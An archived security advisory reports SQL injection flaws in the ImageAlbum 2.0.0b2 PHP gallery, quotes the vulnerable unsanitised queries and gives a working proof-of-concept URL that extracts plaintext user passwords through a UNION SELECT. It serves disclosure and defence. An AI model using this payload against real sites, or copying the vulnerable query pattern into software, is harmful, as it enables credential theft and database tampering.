ImageAlbum Remote SQL Injection Vulnerabilities

2008-01-12T00:00:00
ID SECURITYVULNS:DOC:18843
Type securityvulns
Reporter Securityvulns
Modified 2008-01-12T00:00:00

Description

ImageAlbum Remote SQL Injection Vulnerabilities

Product: ImageAlbum Version: Latest 2.0.0b2, others not tested Vendor: http://imagealbum.sourceforge.net/ Date: 01/10/08

  • Introduction

ImageAlbum is a web application written in PHP for displaying and editing picture collections. It features user accounts and picture comments.

  • Details

Multiple SQL injection vulnerabilities exist, that can result in user credentials being compromised or the modification of the database.

In classes/IADomain.php $sql = "SELECT * FROM `iaimage` WHERE `id` = $id AND `domain_id` = $this->id LIMIT 1";

In classes/IACollection.php $sql = "SELECT * FROM `iacollection` WHERE `id` = $this->id";

In classes/IAUser.php $sql = "SELECT * FROM `iauser` WHERE `id` = $this->id";

Other SQL statements in the application are also vulnerable.

  • Proof of Concept

The following example exploits the image viewer page by placing the password of a user into the src attribute of the img tag instead of the correct path to the image. User passwords are stored in plain-text.

http://[site]/index.php/[domain]/?action=collection.imageview&id=643635 union all select iaimage.id, iaimage.name, description, iaimage.collection_id, iaimage.domain_id, password As path, access, visits, checked FROM iaimage, iauser WHERE iaimage.id=411 /*

Note, 643635 is an invalid image id and 411 is a known valid image id.

  • Solution

Edit the source code to insure that all user input is properly sanitised.

Cheers, dB <dB [at] rawsecurity ! org>